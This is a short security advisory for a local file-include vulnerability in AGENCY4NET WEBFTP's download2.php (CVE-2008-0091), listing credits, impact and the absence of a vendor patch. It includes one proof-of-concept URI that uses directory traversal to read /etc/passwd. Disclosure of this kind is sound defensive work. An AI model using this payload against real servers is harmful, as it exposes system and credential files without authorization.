AGENCY4NET WEBFTP 'download2.php' Local File Include Vulnerability

Bugtraq ID:	27092
Class:	Input Validation Error
CVE:	CVE-2008-0091
Remote:	Yes
Local:	No
Published:	Jan 01 2008 12:00AM
Updated:	May 07 2015 05:33PM
Credit:	TrYaG-TeaM [Tryag.com/cc], H-T Team , RoMaNcYxHaCkEr , and Asb-May's Team are credited with the discovery of this vulnerability.
Vulnerable:	AGENCY4NET WEBFTP 1
Not Vulnerable:

AGENCY4NET WEBFTP 'download2.php' Local File Include Vulnerability

AGENCY4NET WEBFTP is prone to a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute arbitrary local scripts, retrieve potentially sensitive information, and delete arbitrary local files in the context of the webserver process.

AGENCY4NET WEBFTP 'download2.php' Local File Include Vulnerability

An attacker can exploit this issue with a browser.

The following proof-of-concept URI is available:

http://www.example.com/Script/download2.php?file=../../../../../../../../../../../etc/passwd

AGENCY4NET WEBFTP 'download2.php' Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

AGENCY4NET WEBFTP 'download2.php' Local File Include Vulnerability

References:

• WEBFTP Homepage (AGENCY4NET)